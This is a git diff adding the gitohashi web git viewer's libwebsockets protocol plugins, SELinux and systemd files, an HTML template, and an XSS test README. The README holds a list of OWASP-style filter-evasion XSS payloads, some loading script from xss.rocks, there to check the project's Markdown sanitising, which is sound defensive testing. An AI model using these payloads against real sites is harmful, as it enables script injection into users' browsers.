+	/* chunks of chunked content, with header removed */
+	case LWS_CALLBACK_RECEIVE_CLIENT_HTTP_READ:
+		lwsl_debug("RECEIVE_CLIENT_HTTP_READ: read %d\n", (int)len);
+		req = (struct req *)user;
+		if (write(req->fd, in, len) != (ssize_t)len)
+			goto nope;
+
+		return 0; /* don't passthru */
+
+	/* uninterpreted http content */
+	case LWS_CALLBACK_RECEIVE_CLIENT_HTTP:
+		{
+			char buffer[1500 + LWS_PRE];
+			char *px = buffer + LWS_PRE;
+			int lenx = sizeof(buffer) - LWS_PRE;
+
+			req = (struct req *)user;
+
+			if (lws_http_client_read(wsi, &px, &lenx) < 0)
+				goto nope;
+		}
+		return 0; /* don't passthru */
+
+	case LWS_CALLBACK_CLIENT_HTTP_DROP_PROTOCOL:
+		lwsl_debug("LWS_CALLBACK_CLIENT_HTTP_DROP_PROTOCOL %p\n", wsi);
+		req = (struct req *)user;
+		if (req->fd != -1)
+			close(req->fd);
+
+		pthread_mutex_lock(&vhd->lock); /* ================= vhd lock */
+		req->fd = -1;
+		lws_dll_remove(&req->next);
+		pthread_mutex_unlock(&vhd->lock); /* ------------- vhd unlock */
+
+		free(req);
+
+		return 0;
+
+	case LWS_CALLBACK_COMPLETED_CLIENT_HTTP:
+		lwsl_debug("LWS_CALLBACK_COMPLETED_CLIENT_HTTP %p\n", wsi);
+		req = (struct req *)user;
+		if (req->fd != -1) {
+			if (rename(req->filepath_temp, req->filepath))
+				return 0;
+		}
+		return 0;
+
+	case LWS_CALLBACK_EVENT_WAIT_CANCELLED:
+		create_waiting_client_requests(vhd);
+		break;
+
+	default:
+		break;
+	}
+
+	return lws_callback_http_dummy(wsi, reason, user, in, len);
+
+nope:
+	if (req && req->fd != -1)
+		(void)unlink(req->filepath);
+	/*
+	 * req will be freed + fd closed when the wsi drops
+	 * the protocol
+	 */
+
+	return -1;
+}
+
+#define LWS_PLUGIN_PROTOCOL_AVATAR_PROXY \
+	{ \
+		"avatar-proxy", \
+		callback_avatar_proxy, \
+		sizeof(struct pss_avatar_proxy), \
+		4096, \
+		0, \
+		(void *)mention \
+	} \
+
+#if !defined (LWS_PLUGIN_STATIC)
+
+static const struct lws_protocols protocols[] = {
+	LWS_PLUGIN_PROTOCOL_AVATAR_PROXY
+};
+
+LWS_EXTERN LWS_VISIBLE int
+init_protocol_avatar_proxy(struct lws_context *context,
+				struct lws_plugin_capability *c)
+{
+	if (c->api_magic != LWS_PLUGIN_API_MAGIC) {
+		lwsl_err("Plugin API %d, library API %d",
+			 LWS_PLUGIN_API_MAGIC, c->api_magic);
+		return 1;
+	}
+
+	c->protocols = protocols;
+	c->count_protocols = LWS_ARRAY_SIZE(protocols);
+	c->extensions = NULL;
+	c->count_extensions = 0;
+
+	return 0;
+}
+
+LWS_EXTERN LWS_VISIBLE int
+destroy_protocol_avatar_proxy(struct lws_context *context)
+{
+	return 0;
+}
+#endif
diff --git a/src/protocol_gitohashi.c b/src/protocol_gitohashi.c
new file mode 100644
index 0000000..e768364
--- /dev/null
+++ b/src/protocol_gitohashi.c
@@ -0,0 +1,673 @@
+/*
+ * gitohashi protocol
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#define LWS_DLL
+#define LWS_INTERNAL
+#include <libwebsockets.h>
+#include <string.h>
+#include <stdlib.h>
+
+#include <libjsongit2.h>
+
+/*
+ * This belongs to the opaque lws task once it is enqueued, and is freed when
+ * the task goes out of scope
+ */
+
+struct task_data_gitohashi {
+	char buf[LWS_PRE + 4000];
+	char url[1024], alang[128], ua[256], inm[36];
+	int frametype;
+	struct jg2_ctx *ctx;
+	size_t used;
+	char final;
+};
+
+struct pss_gitohashi {
+	struct lws *wsi;
+	int state;
+};
+
+struct vhd_gitohashi {
+	const char *html, *vpath, *repo_base_dir, *acl_user, *avatar_url;
+	const struct lws_protocols *cache_protocol;
+	struct jg2_vhost *jg2_vhost;
+	struct lws_threadpool *tp;
+	struct lws_vhost *vhost;
+};
+
+
+static void
+cleanup_task_private_data(struct lws *wsi, void *user)
+{
+	struct task_data_gitohashi *priv = (struct task_data_gitohashi *)user;
+
+	if (priv->ctx)
+		jg2_ctx_destroy(priv->ctx);
+
+	free(priv);
+}
+
+static enum lws_threadpool_task_return
+task_function(void *user, enum lws_threadpool_task_status s)
+{
+	struct task_data_gitohashi *priv = (struct task_data_gitohashi *)user;
+	int n;
+
+	/*
+	 * first time, we must do the http reply, and either acquire the
+	 * jg2 ctx or finish the transaction
+	 */
+	if (!priv->ctx)
+		return LWS_TP_RETURN_SYNC;
+
+	/* we sent the last bit already */
+
+	if (priv->frametype == LWS_WRITE_HTTP_FINAL)
+		return LWS_TP_RETURN_FINISHED;
+
+	priv->frametype = LWS_WRITE_HTTP;
+	n = jg2_ctx_fill(priv->ctx, priv->buf + LWS_PRE,
+			 sizeof(priv->buf) - LWS_PRE, &priv->used);
+
+	if (n < 0)
+		return LWS_TP_RETURN_STOPPED;
+
+	if (n || priv->final) {
+		priv->frametype = LWS_WRITE_HTTP_FINAL;
+		priv->final = 1;
+	}
+
+	if (priv->used)
+		return LWS_TP_RETURN_SYNC;
+
+	return LWS_TP_RETURN_CHECKING_IN;
+
+}
+
+static int
+http_reply(struct lws *wsi, struct vhd_gitohashi *vhd,
+	   struct pss_gitohashi *pss, struct task_data_gitohashi *priv)
+{
+	unsigned char *p = (unsigned char *)&priv->buf[LWS_PRE], *start = p,
+		      *end = (unsigned char *)priv->buf + sizeof(priv->buf);
+	const char *mimetype = NULL;
+	struct jg2_ctx_create_args args;
+	unsigned long length = 0;
+	char etag[36];
+	int n;
+
+	memset(&args, 0, sizeof(args));
+	args.repo_path = priv->url;
+	args.flags = JG2_CTX_FLAG_HTML;
+	args.mimetype = &mimetype;
+	args.length = &length;
+	args.etag = etag;
+	args.etag_length = sizeof(etag);
+
+	if (priv->alang[0])
+		args.accept_language = priv->alang;
+
+	if (priv->inm[0])
+		args.client_etag = priv->inm;
+
+
+	/*
+	 * Let's assess from his user agent if he's a bot.  Caching
+	 * content generated by a bot is less than worthless since they
+	 * spider the whole repo more or less randomly, flushing the
+	 * parts of the cache generated by real users which may be
+	 * interesting for other users too.
+	 */
+
+	if (priv->ua[0] &&
+	    (strstr(priv->ua, "bot") || strstr(priv->ua, "Bot")))
+		args.flags |= JG2_CTX_FLAG_BOT;
+
+	p = start;
+
+	if (jg2_ctx_create(vhd->jg2_vhost, &priv->ctx, &args)) {
+		lwsl_err("%s: jg2_ctx_create fail: %s\n", __func__, start);
+
+		/* we can't serve this, for whatever reason */
+
+		if (lws_add_http_header_status(wsi,
+				HTTP_STATUS_INTERNAL_SERVER_ERROR, &p, end))
+			return -1;
+
+		if (lws_finalize_http_header(wsi, &p, end))
+			return -1;
+
+		n = lws_write(wsi, start, p - start, LWS_WRITE_HTTP_HEADERS |
+						     LWS_WRITE_H2_STREAM_END);
+		if (n != (p - start)) {
+			lwsl_err("_write returned %d from %ld\n", n,
+				 (long)(p - start));
+			return -1;
+		}
+
+		goto transaction_completed;
+	}
+
+	/* does he actually already have a current version of it? */
+
+	n = lws_hdr_total_length(wsi, WSI_TOKEN_HTTP_IF_NONE_MATCH);
+	if (etag[0] && n && !strcmp(etag, priv->inm)) {
+
+		lwsl_debug("%s: ETAG match %s\n", __func__, etag);
+
+		/* we don't need to send the payload... lose the ctx */
+
+		jg2_ctx_destroy(priv->ctx);
+		priv->ctx = NULL;
+
+		/* inform the client he already has the latest guy */
+
+		if (lws_add_http_header_status(wsi, HTTP_STATUS_NOT_MODIFIED,
+					       &p, end))
+			return -1;
+
+		if (lws_add_http_header_by_token(wsi, WSI_TOKEN_HTTP_ETAG,
+				(unsigned char *)etag, n, &p, end))
+			return -1;
+
+		if (lws_finalize_http_header(wsi, &p, end))
+			return 1;
+
+		n = lws_write(wsi, start, p - start, LWS_WRITE_HTTP_HEADERS |
+						     LWS_WRITE_H2_STREAM_END);
+		if (n != (p - start)) {
+			lwsl_err("_write returned %d from %ld\n", n,
+				 (long)(p - start));
+			return -1;
+		}
+
+		goto transaction_completed;
+	}
+
+	/* nope... he doesn't already have it, so we must issue it */
+
+	if (lws_add_http_common_headers(wsi, HTTP_STATUS_OK,
+			mimetype, length? length :
+			LWS_ILLEGAL_HTTP_CONTENT_LEN, &p, end))
+		return 1;
+
+	/*
+	 * if we know the etag already, issue it so we can recognize
+	 * if he asks for it again while he already has it
+	 */
+
+	if (etag[0] && lws_add_http_header_by_token(wsi, WSI_TOKEN_HTTP_ETAG,
+						    (unsigned char *)etag,
+						    strlen(etag), &p, end))
+		return 1;
+
+	if (lws_finalize_write_http_header(wsi, start, &p, end))
+		return 1;
+
+	return 0;
+
+transaction_completed:
+
+	if (lws_http_transaction_completed(wsi))
+		return -1;
+
+	return 0;
+}
+
+/*
+ * Called from a threadpool thread context...
+ */
+
+void refchange(void * user)
+{
+	struct pss_gitohashi *pss = (struct pss_gitohashi *)user;
+
+	lwsl_notice("%s: %p\n", __func__, pss);
+
+//	if (!pss)
+//		return;
+
+	// lws_callback_on_writable(pss->wsi);
+}
+
+static const char *hex = "0123456789abcdef";
+
+static const char *
+md5_to_hex_cstr(char *md5_hex_33, const unsigned char *md5)
+{
+	int n;
+
+	if (!md5) {
+		*md5_hex_33++ = '?';
+		*md5_hex_33++ = '\0';
+
+		return md5_hex_33 - 2;
+	}
+	for (n = 0; n < 16; n++) {
+		*md5_hex_33++ = hex[((*md5) >> 4) & 0xf];
+		*md5_hex_33++ = hex[*(md5++) & 0xf];
+	}
+	*md5_hex_33 = '\0';
+
+	return md5_hex_33 - 32;
+}
+
+/*
+ * Called from a threadpool thread context...
+ */
+
+int avatar(void *avatar_arg, const unsigned char *md5)
+{
+	struct vhd_gitohashi *vhd = (struct vhd_gitohashi *)avatar_arg;
+	typedef int (*mention_t)(const struct lws_protocols *pcol,
+			struct lws_vhost *vh, const char *path);
+	char md[256];
+
+	if (!vhd->cache_protocol)
+		vhd->cache_protocol = lws_vhost_name_to_protocol(
+					vhd->vhost, "avatar-proxy");
+
+	if (!vhd->cache_protocol)
+		return 0;
+
+	md5_to_hex_cstr(md, md5);
+
+	((mention_t)(void *)vhd->cache_protocol->user)
+			(vhd->cache_protocol, vhd->vhost, md);
+
+	return 0;
+}
+
+static int
+callback_gitohashi(struct lws *wsi, enum lws_callback_reasons reason,
+	       void *user, void *in, size_t len)
+{
+	struct vhd_gitohashi *vhd = (struct vhd_gitohashi *)
+			      lws_protocol_vh_priv_get(lws_get_vhost(wsi),
+						       lws_get_protocol(wsi));
+	char buf[LWS_PRE + 4096];
+	unsigned char *p = (unsigned char *)&buf[LWS_PRE],
+		      *end = (unsigned char *)buf + sizeof(buf);
+	struct pss_gitohashi *pss = (struct pss_gitohashi *)user;
+	struct lws_threadpool_create_args cargs;
+	struct lws_threadpool_task_args targs;
+	struct lws_threadpool_task *task;
+	struct task_data_gitohashi *priv;
+	struct jg2_vhost_config config;
+	const char *csize, *flags, *z;
+	int n, uid, gid;
+	void *_user;
+
+	switch (reason) {
+
+	/* --------------- protocol --------------- */
+
+	case LWS_CALLBACK_PROTOCOL_INIT: /* per vhost */
+		lws_protocol_vh_priv_zalloc(lws_get_vhost(wsi),
+					    lws_get_protocol(wsi),
+					    sizeof(struct vhd_gitohashi));
+		vhd = (struct vhd_gitohashi *)
+			lws_protocol_vh_priv_get(lws_get_vhost(wsi),
+						 lws_get_protocol(wsi));
+
+		vhd->vhost = lws_get_vhost(wsi);
+
+		if (lws_pvo_get_str(in, "html-file", &vhd->html) ||
+		    lws_pvo_get_str(in, "vpath", &vhd->vpath) ||
+		    lws_pvo_get_str(in, "repo-base-dir", &vhd->repo_base_dir) ||
+		    lws_pvo_get_str(in, "acl-user", &vhd->acl_user) ||
+		    lws_pvo_get_str(in, "avatar-url", &vhd->avatar_url)) {
+
+			lwsl_err("%s: required pvos: html-file, vpath,"
+				 "repo-base-dir, acl-user, avatar-url\n",
+				 __func__);
+
+			return -1;
+		}
+
+
+		memset(&cargs, 0, sizeof(cargs));
+
+		cargs.max_queue_depth = 12;
+		cargs.threads = 4;
+
+		if (!lws_pvo_get_str(in, "threads", &z))
+			cargs.threads = atoi(z);
+		if (!lws_pvo_get_str(in, "max_queue_depth", &z))
+			cargs.max_queue_depth = atoi(z);
+
+		vhd->tp = lws_threadpool_create(lws_get_context(wsi), &cargs,
+						"%s",
+						lws_get_vhost_name(vhd->vhost));
+		if (!vhd->tp)
+			return -1;
+
+		memset(&config, 0, sizeof(config));
+		config.virtual_base_urlpath = vhd->vpath;
+		config.refchange = refchange;
+		config.avatar = avatar;
+		config.avatar_arg = vhd;
+		config.avatar_url = vhd->avatar_url;
+		config.repo_base_dir = vhd->repo_base_dir;
+		config.vhost_html_filepath = vhd->html;
+		config.acl_user = vhd->acl_user;
+
+		/* optional... no caching if not set */
+		if (!lws_pvo_get_str(in, "cache-base",
+				     &config.json_cache_base)) {
+			lws_get_effective_uid_gid(lws_get_context(wsi), &uid,
+						  &gid);
+			config.cache_uid = uid;
+
+			/* optional, default size if not set */
+			if (!lws_pvo_get_str(in, "cache-size", &csize))
+				config.cache_size_limit = atoi(csize);
+		}
+
+		/* optional... flags */
+		if (!lws_pvo_get_str(in, "flags", &flags))
+			config.flags = atoi(flags);
+
+		if (config.flags & JG2_VHOST_BLOG_MODE &&
+		    lws_pvo_get_str(in, "blog-repo-name",
+				    &config.blog_repo_name)) {
+			lwsl_err("%s: if blog_mode set in flags, "
+				 "blog_repo_name is required\n", __func__);
+
+			lws_threadpool_destroy(vhd->tp);
+
+			return -1;
+		}
+
+		vhd->jg2_vhost = jg2_vhost_create(&config);
+		if (!vhd->jg2_vhost) {
+			lws_threadpool_destroy(vhd->tp);
+			return -1;
+		}
+
+		lws_timed_callback_vh_protocol(lws_get_vhost(wsi),
+					       lws_get_protocol(wsi),
+					       LWS_CALLBACK_USER, 1);
+		break;
+
+	case LWS_CALLBACK_PROTOCOL_DESTROY: /* per vhost */
+		jg2_vhost_destroy(vhd->jg2_vhost);
+		lws_threadpool_finish(vhd->tp);
+		lws_threadpool_destroy(vhd->tp);
+		vhd->jg2_vhost = NULL;
+		break;
+
+	/* --------------- http --------------- */
+
+	case LWS_CALLBACK_HTTP:
+
+		/*
+		 * The jg2 ctx is not going to be created until a thread
+		 * becomes available.  But our headers will be scrubbed when
+		 * we return from this.
+		 *
+		 * So we must stash any interesting header content in the user
+		 * priv struct before queuing the task.
+		 */
+
+		memset(&targs, 0, sizeof(targs));
+		priv = targs.user = malloc(sizeof(*priv));
+		if (!priv)
+			return 1;
+
+		memset(priv, 0, sizeof(*priv));
+
+		targs.wsi = wsi;
+		targs.task = task_function;
+		targs.cleanup = cleanup_task_private_data;
+
+		/*
+		 * "in" contains the url part after our mountpoint, if any.
+		 *
+		 * Our strategy is to record the URL for the duration of the
+		 * transaction and return the user's configured html template,
+		 * plus JSON prepared based on the URL.  That lets the page
+		 * display remotely in one roundtrip (+tls) without having to
+		 * wait for the ws link to come up.
+		 *
+		 * Serving anything other than the configured html template
+		 * will have to come from outside this mount URL path.
+		 *
+		 * Stash in and the urlargs into pss->priv->url[]
+		 */
+
+		p = (unsigned char *)priv->url;
+		end = p + sizeof(priv->url) - 1;
+		if ((int)len >= end - p)
+			len = end - p - 1;
+		memcpy(p, in, len);
+		p += len;
+
+		n = 0;
+		while (lws_hdr_copy_fragment(wsi, (char *)p + 1, end - p - 2,
+					     WSI_TOKEN_HTTP_URI_ARGS, n) > 0) {
+			if (!n)
+				*p = '?';
+			else
+				*p = '&';
+
+			p += strlen((char *)p);
+			n++;
+		}
+
+		*p++ = '\0';
+
+		if (lws_hdr_total_length(wsi, WSI_TOKEN_HTTP_USER_AGENT) &&
+		    lws_hdr_copy(wsi, priv->ua, sizeof(priv->ua),
+				 WSI_TOKEN_HTTP_USER_AGENT) < 0)
+			priv->ua[0] = '\0';
+
+		if (lws_hdr_total_length(wsi, WSI_TOKEN_HTTP_ACCEPT_LANGUAGE) &&
+		    lws_hdr_copy(wsi, priv->alang,
+				 sizeof(priv->alang),
+				 WSI_TOKEN_HTTP_ACCEPT_LANGUAGE) < 0)
+			priv->alang[0] = '\0';
+
+		n = lws_hdr_total_length(wsi, WSI_TOKEN_HTTP_IF_NONE_MATCH);
+		if (n && lws_hdr_copy(wsi, priv->inm,
+				      sizeof(priv->inm),
+				      WSI_TOKEN_HTTP_IF_NONE_MATCH) < 0)
+			priv->inm[0] = '\0';
+
+		/*
+		 * that's all the info we need... queue the task to do the
+		 * actual business (priv is passed by targs.user)
+		 */
+
+		if (!lws_threadpool_enqueue(vhd->tp, &targs, "goh-%s",
+					    (const char *)in)) {
+			lwsl_user("%s: Couldn't enqueue task\n", __func__);
+			cleanup_task_private_data(wsi, priv);
+			return 1;
+		}
+
+		lws_set_timeout(wsi, PENDING_TIMEOUT_THREADPOOL, 30);
+
+		/*
+		 * the task will get serviced, see that it doesn't have any
+		 * jg2 ctx yet, and SYNC until we got a WRITEABLE callback
+		 * (which will usually be very quickly, because this HTTP
+		 * callback only happens when we are writeable, and we didn't
+		 * write anything yet)
+		 */
+
+		return 0;
+
+	case LWS_CALLBACK_HTTP_DROP_PROTOCOL:
+		if (pss) {
+			lwsl_info("%s: HTTP_DROP_PROTOCOL: %s %p\n", __func__,
+				   (const char *)in, wsi);
+			lws_threadpool_dequeue(wsi);
+		}
+		return 0;
+
+	case LWS_CALLBACK_CLOSED_HTTP:
+		return 0;
+
+	case LWS_CALLBACK_HTTP_WRITEABLE:
+
+		if (!pss)
+			break;
+
+		n = lws_threadpool_task_status_wsi(wsi, &task, &_user);
+		lwsl_info("%s: LWS_CALLBACK_SERVER_WRITEABLE: %p: "
+			   "task %p, priv %p, status %d\n", __func__, wsi, task,
+			   _user, n);
+		switch(n) {
+		case LWS_TP_STATUS_FINISHED:
+		case LWS_TP_STATUS_STOPPED:
+		case LWS_TP_STATUS_QUEUED:
+		case LWS_TP_STATUS_RUNNING:
+		case LWS_TP_STATUS_STOPPING:
+			return 0;
+
+		case LWS_TP_STATUS_SYNCING:
+			/* the task has paused for us to do something */
+			break;
+
+		default:
+			/* wsi has no discernable task */
+			//lwsl_err("%s: HTTP_WRITABLE: wsi has no task\n",
+			//		__func__);
+			return 1;
+		}
+
+		priv = (struct task_data_gitohashi *)_user;
+
+		if (!priv->ctx) {
+			/*
+			 * Do the http response and maybe acquire the jg2 ctx.
+			 * Sometimes that was all we needed to do (eg, ETAG
+			 * matched) and there's no jg2_ctx: the transaction is
+			 * completed then.
+			 */
+			n = http_reply(wsi, vhd, pss, priv);
+			if (!priv->ctx) {
+				/* unblock him and stop him as we are done */
+				lws_threadpool_task_sync(task, 1);
+
+				return n;
+			}
+
+			lws_set_timeout(wsi, PENDING_TIMEOUT_THREADPOOL_TASK,
+					60);
+
+			/*
+			 * otherwise we are just getting started... unblock the
+			 * worker thread and start the business of filling
+			 * buffers and sending them on.
+			 */
+
+			goto sync_end;
+		}
+
+		if (priv->used) {
+			lwsl_info("  writing %d\n", (int)priv->used);
+			lwsl_hexdump_debug(priv->buf + LWS_PRE, priv->used);
+			if (lws_write(wsi, (unsigned char *)priv->buf + LWS_PRE,
+				      priv->used, priv->frametype) !=
+				      (int)priv->used) {
+				lwsl_err("%s: lws_write failed\n", __func__);
+
+				return -1;
+			}
+			priv->used = 0;
+
+			if (priv->frametype == LWS_WRITE_HTTP_FINAL) {
+				lws_threadpool_task_sync(task, 1);
+				goto transaction_completed;
+			}
+		}
+
+sync_end:
+		lws_threadpool_task_sync(task, 0);
+
+		return 0;
+
+	case LWS_CALLBACK_USER:
+
+		/*
+		 * in debug mode, dump the threadpool stat to the logs once
+		 * a second
+		 */
+		//lws_threadpool_dump(vhd->tp);
+		lws_timed_callback_vh_protocol(lws_get_vhost(wsi),
+					       lws_get_protocol(wsi),
+					       LWS_CALLBACK_USER, 1);
+		return 0;
+
+	default:
+		break;
+	}
+
+	return lws_callback_http_dummy(wsi, reason, user, in, len);
+
+transaction_completed:
+	if (lws_http_transaction_completed(wsi))
+		return -1;
+
+	return 0;
+}
+
+#define LWS_PLUGIN_PROTOCOL_GITOHASHI \
+	{ \
+		"gitohashi", \
+		callback_gitohashi, \
+		sizeof(struct pss_gitohashi), \
+		4096, \
+	}
+
+#if !defined (LWS_PLUGIN_STATIC)
+
+static const struct lws_protocols protocols[] = {
+	LWS_PLUGIN_PROTOCOL_GITOHASHI
+};
+
+LWS_EXTERN LWS_VISIBLE int
+init_protocol_gitohashi(struct lws_context *context,
+				struct lws_plugin_capability *c)
+{
+	if (c->api_magic != LWS_PLUGIN_API_MAGIC) {
+		lwsl_err("Plugin API %d, library API %d",
+			 LWS_PLUGIN_API_MAGIC, c->api_magic);
+		return 1;
+	}
+
+	c->protocols = protocols;
+	c->count_protocols = LWS_ARRAY_SIZE(protocols);
+	c->extensions = NULL;
+	c->count_extensions = 0;
+
+	return 0;
+}
+
+LWS_EXTERN LWS_VISIBLE int
+destroy_protocol_gitohashi(struct lws_context *context)
+{
+	return 0;
+}
+#endif
diff --git a/system/gitohashi-selinux.pp b/system/gitohashi-selinux.pp
new file mode 100644
index 0000000..0e73f54
--- /dev/null
+++ b/system/gitohashi-selinux.pp
@@ -0,0 +1,14 @@
+module gitohashi-selinux 1.0;
+
+require {
+	type reserved_port_t;
+	type unconfined_t;
+	type httpd_t;
+	class tcp_socket name_bind;
+	class unix_stream_socket connectto;
+}
+
+#============= httpd_t ==============
+allow httpd_t reserved_port_t:tcp_socket name_bind;
+allow httpd_t unconfined_t:unix_stream_socket connectto;
+
diff --git a/system/gitohashi.service b/system/gitohashi.service
new file mode 100644
index 0000000..7b713c6
--- /dev/null
+++ b/system/gitohashi.service
@@ -0,0 +1,12 @@
+[Unit]
+Description=Gitohashi
+After=syslog.target
+
+[Service]
+ExecStart=/usr/local/bin/gitohashi
+ExecReload=/usr/bin/kill -HUP $MAINPID
+ExecStop=/usr/bin/killall gitohashi
+
+[Install]
+WantedBy=multi-user.target
+
diff --git a/templates/gitohashi-example.html b/templates/gitohashi-example.html
new file mode 100644
index 0000000..c104199
--- /dev/null
+++ b/templates/gitohashi-example.html
@@ -0,0 +1,75 @@
+<!DOCTYPE html>
+<html lang="en">
+
+<head>
+ <meta charset=utf-8 http-equiv="Content-Language" content="en"/>
+ <!-- libjsongit2:meta-description -->
+ <script src="/git/_gitohashi/jg2.js"></script>
+ <link rel="stylesheet" type="text/css" href="/git/_gitohashi/logo.css"/>
+ <link rel="stylesheet" type="text/css" href="/git/_gitohashi/jg2.css"/>
+ <link rel="stylesheet" type="text/css" href="/git/_gitohashi/github.css"/>
+ <!-- you would move the below to be served from the specific vhost
+      that this html is the template for, since it is the place you put
+      CSS that is NOT shared -->
+ <link rel="stylesheet" type="text/css" href="/git/_gitohashi/gitohashi-custom.css"/>
+ <script type='text/javascript' src='/git/_gitohashi/highlight.pack.js'></script>
+ <script type='text/javascript' src='/git/_gitohashi/showdown.min.js'></script>
+ <title>Gitohashi example html</title> 
+</head>
+
+<!-- Customize the header how you like -->
+<div class="header-region">
+
+<table>
+<tr>
+<td><a href="https://warmcat.com/git/gitohashi">
+	<img class="gitohashi-logo">
+    </a></td>
+<td><img class='repo'></td>
+	
+    <td class='tight'><table>
+     <tr><td colspan="3">
+     <b>Gitohashi</b> is a modern, flexible and fast C gitweb-type interface
+     </td></tr>
+
+     <tr>
+        <td><a href="/">
+		<img class="home">Project homepage</a></td>
+
+        <td><a href="/mailman/listinfo/libwebsockets">
+        	<img class="mailinglist">Mailing List</a></td>
+
+        <td><a href="https://warmcat.com">
+        	<img class='extlink'>Warmcat.com</a></td>
+     </tr>
+     <tr>
+
+        <td><a href="/lws-api-doc-master/html/index.html">
+        	<img class="apidocs">API Docs</a></td>
+
+        <td><a href="https://github.com/warmcat/gitohashi">
+        	<img class="extlink">Github Mirror</a></td><td></td>
+
+     </tr>
+        </table></td>
+
+</tr>
+</table>
+
+</div>
+
+<!-- HTML results from json processing go here -->
+<div id='result'></div>
+
+<!-- libjsongit2 adds generated JSON inside this div, replacing the comment -->
+<div id='initial-json' class="hidden-tiger">
+<!-- libjsongit2:initial-json -->
+</div>
+
+<!-- Customize the footer how you like -->
+
+<div class="jg2-footer footer-region">
+<table><tr><td><a href="https://warmcat.com/git/gitohashi">
+  	<span><img class="gitohashi-icon"></span></a>
+  </td><td><div class="gitohashi-stats" id="gitohashi-stats"></div></td></tr>
+</table></div></body></html>
diff --git a/xss/README.md b/xss/README.md
new file mode 100644
index 0000000..5ee5ea0
--- /dev/null
+++ b/xss/README.md
@@ -0,0 +1,181 @@
+## XSS testing
+
+The pages in this dir try to smuggle script execution into the stuff
+rendered in your browser in various ways.
+
+Unfortunately there are a LOT of ways modern browsers will let you do
+that.  Here we try a bunch of them and see if we are successful in
+defeating them with our preprocessing.  The attack methods came from
+
+https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
+
+This page is checking showdown rendering.
+
+Any successful script executions pop up an alert box.  Seeing some strange
+renderings just talking about scripts on this page and no popups counts as
+a success...
+
+<script>alert("xss/README.md: trivial script");</script>
+https://something.com
+https://something.com' onmouseover='alert("xss/README.md: onmouseover in anonymous link")'
+https://something.com" onmouseover="alert('xss/README.md: onmouseover in anonymous link')"
+https://something.com#' onmouseover='alert("xss/README.md: onmouseover in anonymous link")'
+https://something.com#" onmouseover="alert('xss/README.md: onmouseover in anonymous link')"
+https://something.com?x=' onmouseover='alert("xss/README.md: onmouseover in anonymous link")'
+https://something.com?x=" onmouseover="alert('xss/README.md: onmouseover in anonymous link')"
+https://something.com&quot; onmouseover='alert("xss/README.md: onmouseover in anonymous link")&quot;
+https://something.com&#34 onmouseover='alert("xss/README.md: onmouseover in anonymous link")&quot;
+https://something.com&amp;#34 onmouseover='alert("xss/README.md: onmouseover in anonymous link")&quot;
+
+
+
+x <a name="n"
+href="javascript:alert('xss/README.md: js in a href')">click me</a>
+
+## <script>alert("xss/README.md: trivial script in header");</script>
+## javascript:alert('xss/README.md: js: in header')
+
+javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
+<IMG SRC="javascript:alert('XSS');">
+<IMG SRC=javascript:alert('XSS')>
+<IMG SRC=JaVaScRiPt:alert('XSS')>
+<IMG SRC=javascript:alert(&quot;XSS&quot;)>
+<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
+<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
+<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
+<IMG SRC=# onmouseover="alert('xxs')">
+<IMG SRC= onmouseover="alert('xxs')">
+<IMG onmouseover="alert('xxs')">
+<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
+<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">
+<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
+&#39;&#88;&#83;&#83;&#39;&#41;>
+<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
+#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
+<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
+<IMG SRC="jav	ascript:alert('XSS');">
+<IMG SRC="jav&#x09;ascript:alert('XSS');">
+<IMG SRC="jav&#x0A;ascript:alert('XSS');">
+<IMG SRC="jav&#x0D;ascript:alert('XSS');">
+<IMG SRC=" &#14;  javascript:alert('XSS');">
+<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
+<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
+<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
+<<SCRIPT>alert("XSS");//<</SCRIPT>
+<SCRIPT SRC=http://xss.rocks/xss.js?< B >
+<SCRIPT SRC=//xss.rocks/.j>
+<IMG SRC="javascript:alert('XSS')"
+<iframe src=http://xss.rocks/scriptlet.html <
+\";alert('XSS');//
+</script><script>alert('XSS');</script>
+<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
+<BODY BACKGROUND="javascript:alert('XSS')">
+<IMG DYNSRC="javascript:alert('XSS')">
+<IMG LOWSRC="javascript:alert('XSS')">
+<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
+<IMG SRC='vbscript:msgbox("XSS")'>
+<svg/onload=alert('XSS')>
+Set.constructor`alert\x28document.domain\x29```
+
+<BODY ONLOAD=alert('XSS')>
+
+<BGSOUND SRC="javascript:alert('XSS');">
+<BR SIZE="&{alert('XSS')}">
